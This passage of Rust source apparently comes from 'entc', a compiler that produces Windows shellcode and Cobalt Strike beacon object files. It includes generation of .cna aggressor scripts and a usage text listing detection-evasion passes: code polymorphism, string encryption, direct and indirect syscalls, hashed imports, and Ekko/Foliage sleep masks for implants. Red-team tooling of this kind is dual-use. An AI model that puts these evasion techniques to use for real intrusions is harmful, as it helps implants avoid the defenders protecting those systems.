"warning: [BofCommand] cna gen: field `{fname}: {fty}` \
|
||||
in struct `{}` has no bof_pack mapping. The generated \
|
||||
.cna will skip this argument; edit it by hand if you \
|
||||
need the field.", s.name);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
spec.push(c);
|
||||
names.push(format!("${fname}"));
|
||||
usage.push(format!("<{fname}>"));
|
||||
}
|
||||
(spec, names, usage)
|
||||
} else {
|
||||
(String::new(), Vec::new(), Vec::new())
|
||||
};
|
||||
|
||||
// Cobalt Strike convention: BOFs ship as name.x64.o so the
|
||||
// operator-side script_resource lookup matches.
|
||||
let obj_basename = std::path::Path::new(source_path)
|
||||
.file_stem()
|
||||
.and_then(|s| s.to_str())
|
||||
.map(|s| format!("{s}.x64.o"))
|
||||
.unwrap_or_else(|| format!("{cmd_name}.x64.o"));
|
||||
|
||||
let expected_args = sleep_param_names.len();
|
||||
let usage_str = if usage_args.is_empty() { String::new() } else { format!(" {}", usage_args.join(" ")) };
|
||||
let pack_call = if pack_spec.is_empty() {
|
||||
format!("bof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", \"\");")
|
||||
} else {
|
||||
format!(
|
||||
"$args = bof_pack($bid, \"{pack_spec}\", {});\n\
|
||||
\tbof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", $args);",
|
||||
sleep_param_names.join(", ")
|
||||
)
|
||||
};
|
||||
let destructure = if sleep_param_names.is_empty() {
|
||||
format!("local('$bid');\n\t$bid = $1;")
|
||||
} else {
|
||||
format!(
|
||||
"local('$bid {}');\n\tif (size(@_) != {}) {{ berror($1, \"usage: {cmd_name}{usage_str}\"); return; }}\n\t($bid, {}) = @_;",
|
||||
sleep_param_names.join(" "),
|
||||
expected_args + 1,
|
||||
sleep_param_names.join(", ")
|
||||
)
|
||||
};
|
||||
|
||||
Some(format!(
|
||||
"# {cmd_name}.cna\n\
|
||||
# Auto-generated by entc from {source_path}.\n\
|
||||
# Do not edit by hand; regenerate by rebuilding the .obj.\n\n\
|
||||
alias {cmd_name} {{\n\
|
||||
\t{destructure}\n\
|
||||
\t{pack_call}\n\
|
||||
}}\n\n\
|
||||
beacon_command_register(\n\
|
||||
\t\"{cmd_name}\",\n\
|
||||
\t\"Auto-generated BOF command from {source_path}\",\n\
|
||||
\t\"Usage: {cmd_name}{usage_str}\");\n"
|
||||
))
|
||||
}
|
||||
|
||||
fn resolve_enum_accesses(prog: &mut ast::Program) -> Result<(), String> {
|
||||
use ast::{Expr, Stmt};
|
||||
|
||||
if prog.enums.is_empty() { return Ok(()); }
|
||||
|
||||
let mut variants: std::collections::HashMap<(String, String), i64> =
|
||||
std::collections::HashMap::new();
|
||||
let mut enum_names: std::collections::HashSet<String> =
|
||||
std::collections::HashSet::new();
|
||||
for e in &prog.enums {
|
||||
enum_names.insert(e.name.clone());
|
||||
for (vname, value) in &e.variants {
|
||||
variants.insert((e.name.clone(), vname.clone()), *value);
|
||||
}
|
||||
}
|
||||
|
||||
fn rewrite_expr(
|
||||
e: &mut Expr,
|
||||
variants: &std::collections::HashMap<(String, String), i64>,
|
||||
enums: &std::collections::HashSet<String>,
|
||||
) -> Result<(), String> {
|
||||
match e {
|
||||
Expr::Field { base, field } => {
|
||||
// Recurse first so nested expressions get rewritten.
|
||||
rewrite_expr(base, variants, enums)?;
|
||||
if let Expr::Var(name) = base.as_ref() {
|
||||
if enums.contains(name) {
|
||||
let key = (name.clone(), field.clone());
|
||||
let value = variants.get(&key).ok_or_else(|| format!(
|
||||
"enum `{name}` has no variant `{field}`"
|
||||
))?;
|
||||
*e = Expr::Int(*value);
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
Expr::Call { args, .. } => {
|
||||
for a in args { rewrite_expr(a, variants, enums)?; }
|
||||
}
|
||||
Expr::Binary { lhs, rhs, .. } => {
|
||||
rewrite_expr(lhs, variants, enums)?;
|
||||
rewrite_expr(rhs, variants, enums)?;
|
||||
}
|
||||
Expr::Unary { operand, .. } => rewrite_expr(operand, variants, enums)?,
|
||||
Expr::Assign { value, .. } => rewrite_expr(value, variants, enums)?,
|
||||
Expr::FieldAssign { base, value, .. } => {
|
||||
rewrite_expr(base, variants, enums)?;
|
||||
rewrite_expr(value, variants, enums)?;
|
||||
}
|
||||
Expr::DerefAssign { ptr, value } => {
|
||||
rewrite_expr(ptr, variants, enums)?;
|
||||
rewrite_expr(value, variants, enums)?;
|
||||
}
|
||||
Expr::Index { base, index } => {
|
||||
rewrite_expr(base, variants, enums)?;
|
||||
rewrite_expr(index, variants, enums)?;
|
||||
}
|
||||
Expr::IndexAssign { base, index, value } => {
|
||||
rewrite_expr(base, variants, enums)?;
|
||||
rewrite_expr(index, variants, enums)?;
|
||||
rewrite_expr(value, variants, enums)?;
|
||||
}
|
||||
Expr::Cast { expr, .. } => rewrite_expr(expr, variants, enums)?,
|
||||
Expr::StructLit { fields, .. } => {
|
||||
for (_, fv) in fields { rewrite_expr(fv, variants, enums)?; }
|
||||
}
|
||||
Expr::Int(_) | Expr::Bool(_) | Expr::Str(_)
|
||||
| Expr::Var(_) | Expr::SizeOf { .. } => {}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn rewrite_stmt(
|
||||
s: &mut Stmt,
|
||||
variants: &std::collections::HashMap<(String, String), i64>,
|
||||
enums: &std::collections::HashSet<String>,
|
||||
) -> Result<(), String> {
|
||||
match s {
|
||||
Stmt::Var { value, .. } => {
|
||||
if let Some(v) = value { rewrite_expr(v, variants, enums)?; }
|
||||
}
|
||||
Stmt::Expr { value, .. } => rewrite_expr(value, variants, enums)?,
|
||||
Stmt::If { cond, then_body, else_body } => {
|
||||
rewrite_expr(cond, variants, enums)?;
|
||||
for st in then_body { rewrite_stmt(st, variants, enums)?; }
|
||||
for st in else_body { rewrite_stmt(st, variants, enums)?; }
|
||||
}
|
||||
Stmt::While { cond, body } => {
|
||||
rewrite_expr(cond, variants, enums)?;
|
||||
for st in body { rewrite_stmt(st, variants, enums)?; }
|
||||
}
|
||||
Stmt::For { init, cond, step, body } => {
|
||||
if let Some(i) = init { rewrite_stmt(i, variants, enums)?; }
|
||||
if let Some(c) = cond { rewrite_expr(c, variants, enums)?; }
|
||||
if let Some(st) = step { rewrite_stmt(st, variants, enums)?; }
|
||||
for st in body { rewrite_stmt(st, variants, enums)?; }
|
||||
}
|
||||
Stmt::Ret { value: Some(v), .. } => rewrite_expr(v, variants, enums)?,
|
||||
Stmt::Raise { value, .. } => rewrite_expr(value, variants, enums)?,
|
||||
Stmt::Try { body, handler, .. } => {
|
||||
for st in body { rewrite_stmt(st, variants, enums)?; }
|
||||
for st in handler { rewrite_stmt(st, variants, enums)?; }
|
||||
}
|
||||
Stmt::Asm(_)
|
||||
| Stmt::Ret { value: None, .. }
|
||||
| Stmt::Break
|
||||
| Stmt::Continue => {}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
for f in &mut prog.functions {
|
||||
for st in &mut f.body {
|
||||
rewrite_stmt(st, &variants, &enum_names)?;
|
||||
}
|
||||
}
|
||||
for s in &mut prog.statics {
|
||||
if let Some(init) = &mut s.init {
|
||||
rewrite_expr(init, &variants, &enum_names)?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn synthesize_bof_arg_parsers(prog: &mut ast::Program) {
|
||||
use ast::{Expr, Function, Param, Span, Stmt};
|
||||
|
||||
let bof_arg_structs: Vec<(String, Vec<(String, String)>)> = prog.structs.iter()
|
||||
.filter(|s| s.attrs.iter().any(|a| a.kind == "BofArgs"))
|
||||
.map(|s| (s.name.clone(), s.fields.clone()))
|
||||
.collect();
|
||||
|
||||
for (struct_name, fields) in bof_arg_structs {
|
||||
let fn_name = format!("bof_parse_{struct_name}");
|
||||
// Don't synthesise twice (e.g. if the user wrote their own).
|
||||
if prog.functions.iter().any(|f| f.name == fn_name) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut body: Vec<Stmt> = Vec::new();
|
||||
let zero_span = Span::default();
|
||||
let mk_call = |ns: &str, fname: &str, args: Vec<Expr>| -> Expr {
|
||||
Expr::Call {
|
||||
ns: ns.to_string(),
|
||||
fname: fname.to_string(),
|
||||
args,
|
||||
span: zero_span,
|
||||
}
|
||||
};
|
||||
let mk_addr_local = |name: &str| -> Expr {
|
||||
Expr::Unary { op: "&".to_string(), operand: Box::new(Expr::Var(name.to_string())) }
|
||||
};
|
||||
let mk_field_write = |base: &str, field: &str, value: Expr| -> Stmt {
|
||||
Stmt::Expr {
|
||||
value: Expr::FieldAssign {
|
||||
base: Box::new(Expr::Var(base.to_string())),
|
||||
field: field.to_string(),
|
||||
value: Box::new(value),
|
||||
},
|
||||
span: zero_span,
|
||||
}
|
||||
};
|
||||
|
||||
// var parser: datap;
|
||||
// BeaconDataParse expects datap*; declaring as datap and
|
||||
// passing &parser matches the signature exactly.
|
||||
body.push(Stmt::Var {
|
||||
name: "parser".to_string(),
|
||||
ty: "datap".to_string(),
|
||||
value: None,
|
||||
span: zero_span,
|
||||
});
|
||||
|
||||
// BeaconDataParse;
|
||||
body.push(Stmt::Expr {
|
||||
value: mk_call("", "BeaconDataParse", vec![
|
||||
mk_addr_local("parser"),
|
||||
Expr::Var("args".to_string()),
|
||||
Expr::Var("len".to_string()),
|
||||
]),
|
||||
span: zero_span,
|
||||
});
|
||||
|
||||
// Per-field assignment.
|
||||
for (fname, fty) in &fields {
|
||||
let extractor = match fty.as_str() {
|
||||
"int" | "i32" | "u32" => Some("BeaconDataInt"),
|
||||
"i16" | "u16" => Some("BeaconDataShort"),
|
||||
"str" | "char*" | "u8*" => Some("BeaconDataExtract"),
|
||||
_ => None,
|
||||
};
|
||||
let call_args: Vec<Expr> = if let Some(ex) = extractor {
|
||||
if ex == "BeaconDataExtract" {
|
||||
// BeaconDataExtract takes (parser, &size_out). We
|
||||
// don't capture the size here; pass a null
|
||||
// pointer (cast from 0) to ignore it.
|
||||
vec![
|
||||
mk_addr_local("parser"),
|
||||
Expr::Cast {
|
||||
ty: "int*".to_string(),
|
||||
expr: Box::new(Expr::Int(0)),
|
||||
},
|
||||
]
|
||||
} else {
|
||||
vec![mk_addr_local("parser")]
|
||||
}
|
||||
} else {
|
||||
// Insert a clearly-failing call so typecheck flags
|
||||
// the user's struct rather than a synthesised name.
|
||||
eprintln!(
|
||||
"warning: [BofArgs] struct `{struct_name}`: field \
|
||||
`{fname}: {fty}` has an unsupported type. Supported: \
|
||||
int/i32/u32 (BeaconDataInt), i16/u16 (BeaconDataShort), \
|
||||
str/char*/u8* (BeaconDataExtract). Skipping this field.");
|
||||
continue;
|
||||
};
|
||||
let call = mk_call("", extractor.unwrap(), call_args);
|
||||
// Result types: extract returns char*. Int/Short return
|
||||
// int. Cast to the field's declared type so the
|
||||
// FieldAssign typecheck is happy.
|
||||
let casted = Expr::Cast {
|
||||
ty: fty.clone(),
|
||||
expr: Box::new(call),
|
||||
};
|
||||
// out.<field> = <casted>
|
||||
body.push(Stmt::Expr {
|
||||
value: Expr::FieldAssign {
|
||||
base: Box::new(Expr::Var("out".to_string())),
|
||||
field: fname.clone(),
|
||||
value: Box::new(casted),
|
||||
},
|
||||
span: zero_span,
|
||||
});
|
||||
}
|
||||
// Suppress unused-helper warning for early-return path.
|
||||
let _ = mk_field_write;
|
||||
|
||||
body.push(Stmt::Ret { value: None, span: zero_span });
|
||||
|
||||
let f = Function {
|
||||
name: fn_name,
|
||||
// u8* is the canonical spelling for char* internally;
|
||||
// using it here makes the typecheck happy regardless of
|
||||
// whether the caller wrote char* or u8* for args.
|
||||
params: vec![
|
||||
Param { name: "args".to_string(), ty: "u8*".to_string() },
|
||||
Param { name: "len".to_string(), ty: "int".to_string() },
|
||||
Param { name: "out".to_string(), ty: format!("{struct_name}*") },
|
||||
],
|
||||
ret_ty: "void".to_string(),
|
||||
body,
|
||||
attrs: Vec::new(),
|
||||
is_extern: false,
|
||||
};
|
||||
prog.functions.push(f);
|
||||
}
|
||||
}
|
||||
|
||||
fn synthetic_use_tokens(path: &str) -> Vec<lexer::Token> {
|
||||
vec![
|
||||
lexer::Token { kind: lexer::Tok::Use, line: 1, col: 1 },
|
||||
lexer::Token { kind: lexer::Tok::Str(path.to_string()), line: 1, col: 1 },
|
||||
lexer::Token { kind: lexer::Tok::Semi, line: 1, col: 1 },
|
||||
]
|
||||
}
|
||||
|
||||
fn resolve_stdlib_subpath(source_path: &str, subpath: &str) -> Option<String> {
|
||||
let abs_source = std::fs::canonicalize(source_path).ok()?;
|
||||
let mut cursor = abs_source.parent()?.to_path_buf();
|
||||
loop {
|
||||
let candidate = cursor.join("stdlib").join(subpath);
|
||||
if candidate.exists() {
|
||||
let canon = std::fs::canonicalize(&candidate).ok()?;
|
||||
let s = canon.to_string_lossy();
|
||||
let cleaned = s.trim_start_matches(r"\\?\").to_string();
|
||||
return Some(cleaned);
|
||||
}
|
||||
match cursor.parent() {
|
||||
Some(p) if p != cursor => cursor = p.to_path_buf(),
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn auto_include_win32_constants(
|
||||
prog: &mut ast::Program,
|
||||
source_path: &str,
|
||||
) -> Result<(), String> {
|
||||
// Locate the stdlib/win32 directory by walking up from the
|
||||
// source. Matches resolve_stdlib_subpath but returns a
|
||||
// directory rather than a single-file path.
|
||||
let abs_source = std::fs::canonicalize(source_path)
|
||||
.map_err(|e| format!("auto-include win32: {e}"))?;
|
||||
let mut cursor = match abs_source.parent() {
|
||||
Some(p) => p.to_path_buf(),
|
||||
// Source has no parent - nothing to walk up from. Bail
|
||||
// silently; the operator still gets the language without
|
||||
// the constants.
|
||||
None => return Ok(()),
|
||||
};
|
||||
let win32_dir = loop {
|
||||
let candidate = cursor.join("stdlib").join("win32");
|
||||
if candidate.is_dir() {
|
||||
break candidate;
|
||||
}
|
||||
match cursor.parent() {
|
||||
Some(p) if p != cursor => cursor = p.to_path_buf(),
|
||||
// Reached the root without finding stdlib/win32. Not
|
||||
// an error - operators outside the workspace just
|
||||
// don't get the auto-include.
|
||||
_ => return Ok(()),
|
||||
}
|
||||
};
|
||||
|
||||
// Build a set of names that are already declared so the
|
||||
// auto-include skips anything the user owns.
|
||||
let mut existing_static_names: std::collections::HashSet<String> =
|
||||
prog.statics.iter().map(|s| s.name.clone()).collect();
|
||||
let mut existing_struct_names: std::collections::HashSet<String> =
|
||||
prog.structs.iter().map(|s| s.name.clone()).collect();
|
||||
|
||||
// Walk every .h in stdlib/win32 in alphabetical order so
|
||||
// the merge order is deterministic.
|
||||
let mut headers: Vec<std::path::PathBuf> = std::fs::read_dir(&win32_dir)
|
||||
.map_err(|e| format!("auto-include win32: read_dir {}: {e}", win32_dir.display()))?
|
||||
.filter_map(|e| e.ok())
|
||||
.map(|e| e.path())
|
||||
.filter(|p| p.extension().map(|x| x == "h").unwrap_or(false))
|
||||
.collect();
|
||||
headers.sort();
|
||||
|
||||
for header in headers {
|
||||
let header_str = header.to_string_lossy().to_string();
|
||||
let imported = match cimport::parse_header(&header_str) {
|
||||
Ok(i) => i,
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"warning: auto-include win32: failed to parse {header_str}: {e}"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
for s in imported.structs {
|
||||
if existing_struct_names.insert(s.name.clone()) {
|
||||
prog.structs.push(s);
|
||||
}
|
||||
}
|
||||
for s in imported.statics {
|
||||
if existing_static_names.insert(s.name.clone()) {
|
||||
prog.statics.push(s);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Format the in-memory debug breadcrumbs as a human-readable sidecar.
|
||||
/// Each line is <code_offset_hex> <line>:<col> <kind> <src>. Sorted
|
||||
/// by offset so a grep on a crash PC's hex finds the nearest entry.
|
||||
fn format_dbg(
|
||||
src_path: &str,
|
||||
marks: &[encoder::DbgMark],
|
||||
vars: &[encoder::DbgVar],
|
||||
) -> String {
|
||||
let mut out = String::new();
|
||||
out.push_str(&format!("# entropy debug map for {src_path}\n"));
|
||||
out.push_str("# offset line:col kind source\n");
|
||||
for m in marks {
|
||||
out.push_str(&format!(
|
||||
"{:08x} {:>5}:{:<3} {:<8} {}\n",
|
||||
m.code_off, m.line, m.col, m.kind, src_path
|
||||
));
|
||||
}
|
||||
if !vars.is_empty() {
|
||||
out.push_str("\n# variables\n");
|
||||
out.push_str("# name : type : loc : line_start..line_end\n");
|
||||
for v in vars {
|
||||
let end = if v.line_end == u32::MAX { "max".to_string() }
|
||||
else { v.line_end.to_string() };
|
||||
out.push_str(&format!(
|
||||
"{} : {} : {} : {}..{}\n",
|
||||
v.name, v.ty, v.loc, v.line_start, end
|
||||
));
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
|
||||
fn parse_gc_mode(arg: &str) -> Result<codegen::GcMode, String> {
|
||||
match arg {
|
||||
"auto" => Ok(codegen::GcMode::Auto),
|
||||
"on" => Ok(codegen::GcMode::On),
|
||||
"off" => Ok(codegen::GcMode::Off),
|
||||
"manual" | "unsafe" => Ok(codegen::GcMode::Manual),
|
||||
other => Err(format!(
|
||||
"--gc value must be auto|on|off|manual (got `{other}`)"
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_build_kind(arg: &str) -> Result<codegen::BuildKind, String> {
|
||||
match arg {
|
||||
"standard" | "bin" => Ok(codegen::BuildKind::Standard),
|
||||
"bof" => Ok(codegen::BuildKind::Bof),
|
||||
"coff" => Ok(codegen::BuildKind::Coff),
|
||||
other => Err(format!("--type value must be standard|bof|coff (got `{other}`)")),
|
||||
}
|
||||
}
|
||||
|
||||
fn dump_hex(bytes: &[u8]) {
|
||||
let mut stdout = std::io::stdout().lock();
|
||||
for (i, chunk) in bytes.chunks(16).enumerate() {
|
||||
let _ = write!(stdout, "{:08x} ", i * 16);
|
||||
for b in chunk { let _ = write!(stdout, "{b:02x} "); }
|
||||
for _ in chunk.len()..16 { let _ = write!(stdout, " "); }
|
||||
let _ = write!(stdout, " |");
|
||||
for &b in chunk {
|
||||
let c = if (0x20..0x7e).contains(&b) { b as char } else { '.' };
|
||||
let _ = write!(stdout, "{c}");
|
||||
}
|
||||
let _ = writeln!(stdout, "|");
|
||||
}
|
||||
}
|
||||
|
||||
fn default_output(input: &str) -> String {
|
||||
let p = std::path::Path::new(input);
|
||||
let stem = p.file_stem().and_then(|s| s.to_str()).unwrap_or("a");
|
||||
let parent = p.parent();
|
||||
let bin_dir = match parent {
|
||||
Some(d) if !d.as_os_str().is_empty() => d.join("bin"),
|
||||
_ => std::path::PathBuf::from("bin"),
|
||||
};
|
||||
bin_dir.join(format!("{stem}.bin")).to_string_lossy().to_string()
|
||||
}
|
||||
|
||||
fn ensure_parent_dir(out: &str) -> Result<(), String> {
|
||||
if let Some(parent) = std::path::Path::new(out).parent() {
|
||||
if !parent.as_os_str().is_empty() && !parent.exists() {
|
||||
fs::create_dir_all(parent)
|
||||
.map_err(|e| format!("create_dir_all {}: {e}", parent.display()))?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn output_stem(out: &str) -> String {
|
||||
if let Some(s) = out.strip_suffix(".x64.o") { return s.to_string(); }
|
||||
if let Some(s) = out.strip_suffix(".x86.o") { return s.to_string(); }
|
||||
out.trim_end_matches(".bin")
|
||||
.trim_end_matches(".obj")
|
||||
.trim_end_matches(".coff")
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn run() -> Result<(), String> {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
if args.len() < 3 {
|
||||
// Strip argv[0] to its basename so the usage line reads
|
||||
// entc.exe compile ... instead of leaking the full path.
|
||||
let prog = std::path::Path::new(&args[0])
|
||||
.file_name()
|
||||
.and_then(|s| s.to_str())
|
||||
.unwrap_or("entc");
|
||||
let ext = SRC_EXT;
|
||||
eprintln!("Entropia compiler - Windows x86-64 PIC / BOF code generator");
|
||||
eprintln!("Copyright (c) EntropyKit\n");
|
||||
eprintln!("USAGE");
|
||||
eprintln!(" {prog} compile <input{ext}> [options]");
|
||||
eprintln!(" {prog} dump <input{ext}> [options]\n");
|
||||
eprintln!("OUTPUT");
|
||||
eprintln!(" -o <path> output file. Defaults land in `<source-dir>/bin/`:");
|
||||
eprintln!(" example/foo.etpy to example/bin/foo.bin");
|
||||
eprintln!(" Extension follows the build kind: .bin for");
|
||||
eprintln!(" shellcode, .x64.o for --type=bof, .obj for --type=coff.");
|
||||
eprintln!(" Sidecar files (`.dbg`, `.cna`) live alongside the");
|
||||
eprintln!(" artifact. `-o <path>` is honoured verbatim - pass an");
|
||||
eprintln!(" explicit path to bypass the `bin/` subdirectory.");
|
||||
eprintln!(" --debug, -g emit a `.dbg` sidecar with source-line + var");
|
||||
eprintln!(" breadcrumbs for the VS Code adapter (F5/F9).\n");
|
||||
eprintln!("BUILD KIND");
|
||||
eprintln!(" --type=standard|bin raw PIC shellcode `.bin` (default).");
|
||||
eprintln!(" --type=bof Cobalt Strike BOF `.x64.o` (COFF). Entry is");
|
||||
eprintln!(" `fn go(args, len)`; uses Beacon API.");
|
||||
eprintln!(" --type=coff generic Windows COFF `.obj`, no Beacon-API assumptions.\n");
|
||||
eprintln!("RUNTIME");
|
||||
eprintln!(" --gc=auto emit GC runtime iff `mem.alloc` is used (default).");
|
||||
eprintln!(" --gc=on always emit (for dynamic / inline-asm callers).");
|
||||
eprintln!(" --gc=off never emit; `mem.alloc` becomes a compile error.");
|
||||
eprintln!(" --gc=manual|unsafe no GC runtime; `mem.alloc` and `mem.free` lower");
|
||||
eprintln!(" to direct HeapAlloc/HeapFree through the process");
|
||||
eprintln!(" heap. Operator is responsible for matching pairs.\n");
|
||||
eprintln!("OPSEC (--opsec=<list>, comma-separated; flags accumulate)");
|
||||
eprintln!(" poly same-length instruction-substitution pass (xor/sub, mov");
|
||||
eprintln!(" MR/RM/lea, test/or/and, NOP-run re-decompose). Reloc-aware.");
|
||||
eprintln!(" poly=deep all of `poly` PLUS length-changing equivalent code");
|
||||
eprintln!(" expansion (xor reg,reg rewrites as and reg,0, mov reg,0,");
|
||||
eprintln!(" or nop; xor). Defeats semantic-normalising matchers.");
|
||||
eprintln!(" strings_xor XOR-encrypt .rdata/.data with a per-build key.");
|
||||
eprintln!(" Standard shellcode only; silently skipped for BOF");
|
||||
eprintln!(" (loader maps .rdata read-only).");
|
||||
eprintln!(" nop_sled 0..=64 B multi-byte NOP at the entry function,");
|
||||
eprintln!(" 0..=16 B at every other function. Shifts offsets");
|
||||
eprintln!(" so whole-binary fuzzy hashes drift per build.");
|
||||
eprintln!(" direct_syscalls auto-include stdlib/opsec/direct_syscall.etpy so");
|
||||
eprintln!(" every Ntdll.X(...) dispatches via `syscall` inside");
|
||||
eprintln!(" our own code region.");
|
||||
eprintln!(" indirect_syscalls auto-include stdlib/opsec/indirect_syscall.etpy so");
|
||||
eprintln!(" Ntdll.X(...) jumps to a `syscall;ret` gadget INSIDE");
|
||||
eprintln!(" ntdll. Mutually exclusive with direct_syscalls.");
|
||||
eprintln!(" hashed_imports BOF only: drop `__imp_LIB$Func` external symbols");
|
||||
eprintln!(" from the COFF. Win32 imports resolved at runtime");
|
||||
eprintln!(" via PEB-walk + LoadLibraryA + GetProcAddress. Beacon");
|
||||
eprintln!(" API (`Beacon*`) stays on the standard external path.");
|
||||
eprintln!(" stack_strings rebuild short string literals on the stack at runtime");
|
||||
eprintln!(" (`mov [rsp+N], imm64` runs) instead of pointing at");
|
||||
eprintln!(" `.rdata`. Defeats `strings`-based triage. Composes");
|
||||
eprintln!(" with `strings_xor` - stack-built strings are excluded");
|
||||
eprintln!(" from the XOR pool.");
|
||||
eprintln!(" sleep_mask=<variant> auto-include a `[Hook(\"KERNEL32$Sleep\")]` template");
|
||||
eprintln!(" that encrypts the implant region across the wait.");
|
||||
eprintln!(" Variants:");
|
||||
eprintln!(" simple XOR + real Sleep (smallest, weakest).");
|
||||
eprintln!(" ekko XOR + VirtualProtect RX to RW + sleep via");
|
||||
eprintln!(" WaitForSingleObject. Call stack at scan");
|
||||
eprintln!(" time shows a wait frame, not a Sleep");
|
||||
eprintln!(" frame - the Ekko signature trick.");
|
||||
eprintln!(" foliage XOR + VirtualProtect flip + sleep via");
|
||||
eprintln!(" NtDelayExecution. Pairs with");
|
||||
eprintln!(" --opsec=direct_syscalls so the syscall");
|
||||
eprintln!(" comes out of our own code region.");
|
||||
eprintln!(" Skipped if the source already has a");
|
||||
eprintln!(" `[Hook(\"KERNEL32$Sleep\")]` - operator's mask wins.");
|
||||
eprintln!(" all every technique above. Does NOT pick a sleep_mask");
|
||||
eprintln!(" variant - masks are implant-specific.");
|
||||
eprintln!(" none explicit no-op.\n");
|
||||
eprintln!(" --seed=<n>|0x<hex>|random");
|
||||
eprintln!(" RNG seed driving every randomised pass. Same seed to ");
|
||||
eprintln!(" byte-identical output. Default: system-time nanos.\n");
|
||||
eprintln!("EXAMPLES");
|
||||
eprintln!(" {prog} compile example/asm_demo.etpy --opsec=all --seed=42");
|
||||
eprintln!(" {prog} compile example/bof_pslist.etpy --type=bof --opsec=all");
|
||||
eprintln!(" {prog} compile prog.etpy --type=bof --opsec=poly,nop_sled,direct_syscalls");
|
||||
return Err("missing args".into());
|
||||
}
|
||||
match args[1].as_str() {
|
||||
"compile" => {
|
||||
let inp = &args[2];
|
||||
let mut out = default_output(inp);
|
||||
let mut gc_mode = codegen::GcMode::Auto;
|
||||
let mut kind = codegen::BuildKind::Standard;
|
||||
let mut emit_dbg = false;
|
||||
let mut opsec = polymorphism::OpsecConfig::default();
|
||||
let mut i = 3;
|
||||
while i < args.len() {
|
||||
let a = &args[i];
|
||||
if a == "-o" && i + 1 < args.len() {
|
||||
out = args[i+1].clone(); i += 2;
|
||||
} else if let Some(v) = a.strip_prefix("--gc=") {
|
||||
gc_mode = parse_gc_mode(v)?; i += 1;
|
||||
} else if let Some(v) = a.strip_prefix("--type=") {
|
||||
kind = parse_build_kind(v)?; i += 1;
|
||||
} else if a == "--type" && i + 1 < args.len() {
|
||||
kind = parse_build_kind(&args[i+1])?; i += 2;
|
||||
} else if let Some(v) = a.strip_prefix("--opsec=") {
|
||||
let new_cfg = polymorphism::OpsecConfig::parse(v)?;
|
||||
opsec.poly |= new_cfg.poly;
|
||||
opsec.poly_deep |= new_cfg.poly_deep;
|
||||
opsec.reorder_functions |= new_cfg.reorder_functions;
|
||||
if new_cfg.junk_level > opsec.junk_level {
|
||||
opsec.junk_level = new_cfg.junk_level;
|
||||
}
|
||||
opsec.strings_xor |= new_cfg.strings_xor;
|
||||
opsec.stack_strings |= new_cfg.stack_strings;
|
||||
opsec.nop_sled |= new_cfg.nop_sled;
|
||||
opsec.direct_syscalls |= new_cfg.direct_syscalls;
|
||||
opsec.indirect_syscalls |= new_cfg.indirect_syscalls;
|
||||
opsec.hashed_imports |= new_cfg.hashed_imports;
|
||||
if new_cfg.sleep_mask != polymorphism::SleepMaskVariant::None {
|
||||
opsec.sleep_mask = new_cfg.sleep_mask;
|
||||
}
|
||||
// Same "indirect wins" disambiguation as
|
||||
// OpsecConfig::parse: both occupy the NtCall
|
||||
// override slot, so we keep at most one.
|
||||
if opsec.indirect_syscalls {
|
||||
opsec.direct_syscalls = false;
|
||||
}
|
||||
i += 1;
|
||||
} else if let Some(v) = a.strip_prefix("--seed=") {
|
||||
opsec.seed = Some(polymorphism::OpsecConfig::parse_seed(v)?);
|
||||
i += 1;
|
||||
} else if a == "--debug" || a == "-g" {
|
||||
emit_dbg = true; i += 1;
|
||||
} else {
|
||||
return Err(format!("unknown arg: {a}"));
|
||||
}
|
||||
}
|
||||
if out.ends_with(".bin") {
|
||||
let stem = out.trim_end_matches(".bin");
|
||||
out = match kind {
|
||||
codegen::BuildKind::Standard => out.clone(),
|
||||
codegen::BuildKind::Bof => format!("{stem}.x64.o"),
|
||||
codegen::BuildKind::Coff => format!("{stem}.obj"),
|
||||
};
|
||||
}
|
||||
let blob = compile(inp, gc_mode, kind, opsec.clone())?;
|
||||
ensure_parent_dir(&out)?;
|
||||
fs::write(&out, &blob.code).map_err(|e| e.to_string())?;
|
||||
let kind_str = match kind {
|
||||
codegen::BuildKind::Standard => "shellcode",
|
||||
codegen::BuildKind::Bof => "BOF (COFF .x64.o)",
|
||||
codegen::BuildKind::Coff => "COFF .obj",
|
||||
};
|
||||
let opsec_suffix = if opsec.any() {
|
||||
let mut techniques = Vec::<String>::new();
|
||||
if opsec.poly { techniques.push("poly".into()); }
|
||||
if opsec.poly_deep { techniques.push("poly=deep".into()); }
|
||||
if opsec.junk_level > 0 { techniques.push(format!("junk={}", opsec.junk_level)); }
|
||||
if opsec.reorder_functions { techniques.push("reorder".into()); }
|
||||
if opsec.strings_xor { techniques.push("strings_xor".into()); }
|
||||
if opsec.stack_strings { techniques.push("stack_strings".into()); }
|
||||
if opsec.nop_sled { techniques.push("nop_sled".into()); }
|
||||
if opsec.direct_syscalls { techniques.push("direct_syscalls".into()); }
|
||||
if opsec.indirect_syscalls { techniques.push("indirect_syscalls".into()); }
|
||||
if opsec.hashed_imports { techniques.push("hashed_imports".into()); }
|
||||
if opsec.sleep_mask != polymorphism::SleepMaskVariant::None {
|
||||
techniques.push(format!("sleep_mask={}", opsec.sleep_mask.name()));
|
||||
}
|
||||
format!(", opsec=[{}]", techniques.join(","))
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
eprintln!("wrote {} ({} bytes, {}{})",
|
||||
out, blob.code.len(), kind_str, opsec_suffix);
|
||||
if emit_dbg {
|
||||
let stem = output_stem(&out);
|
||||
let dbg_path = format!("{stem}.dbg");
|
||||
